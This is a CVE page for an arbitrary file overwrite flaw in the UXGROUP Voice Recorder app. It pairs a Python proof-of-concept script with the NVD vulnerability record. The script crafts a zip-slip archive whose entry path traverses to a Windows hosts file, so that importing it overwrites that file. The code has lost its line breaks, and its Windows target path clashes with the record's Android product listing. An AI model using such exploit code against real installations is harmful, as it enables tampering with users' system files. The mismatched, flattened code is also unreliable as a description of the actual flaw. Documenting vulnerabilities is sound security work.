CVE-2026-30284

import os import zipfile # Conceptual Proof of Concept for CVE-2026-30284 # This script generates a malicious file designed to exploit arbitrary file overwrite # via the import functionality of UXGROUP LLC Voice Recorder v10.0. def create_exploit_zip(output_file, target_file, payload): """ Creates a zip file containing a file with a path traversal payload. """ try: with zipfile.ZipFile(output_file, 'w') as zf: # Use ZipInfo to construct a filename that escapes the import directory info = zipfile.ZipInfo(filename=target_file) info.compress_type = zipfile.ZIP_DEFLATED # Write the payload content zf.writestr(info, payload) print(f"[+] Exploit file created: {output_file}") print(f"[+] Target file for overwrite: {target_file}") print(f"[+] Payload content written.") except Exception as e: print(f"[-] Error creating exploit file: {e}") if __name__ == "__main__": # Example Payload: Overwriting a critical config or executable # Note: The actual path depends on the installation directory of the target app. # This is a hypothetical path traversal sequence. traversal_path = "../../../../../../Windows/System32/drivers/etc/hosts" # Or an application specific config file # traversal_path = "../../AppData/Roaming/VoiceRecorder/settings.ini" malicious_content = b"MALICIOUS_PAYLOAD_CONTENT" create_exploit_zip("malicious_import.zip", traversal_path, malicious_content)

{"cve": {"id": "CVE-2026-30284", "sourceIdentifier": "[email protected]", "published": "2026-03-31T16:16:29.950", "lastModified": "2026-04-06T15:11:01.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file overwrite vulnerability in UXGROUP LLC Voice Recorder v10.0 allows attackers to overwrite critical internal files via the file import process, leading to arbitrary code execution or information exposure."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uxgroupllc:voice_recorder:10.0:*:*:*:*:android:*:*", "matchCriteriaId": "33CEA8DD-C154-4514-B536-E280CC6E06A1"}]}]}], "references": [{"url": "http://voice.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://appcraze.co/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Secsys-FDU/AF_CVEs/issues/25", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://secsys.fudan.edu.cn/", "source": "[email protected]", "tags": ["Not Applicable"]}]}}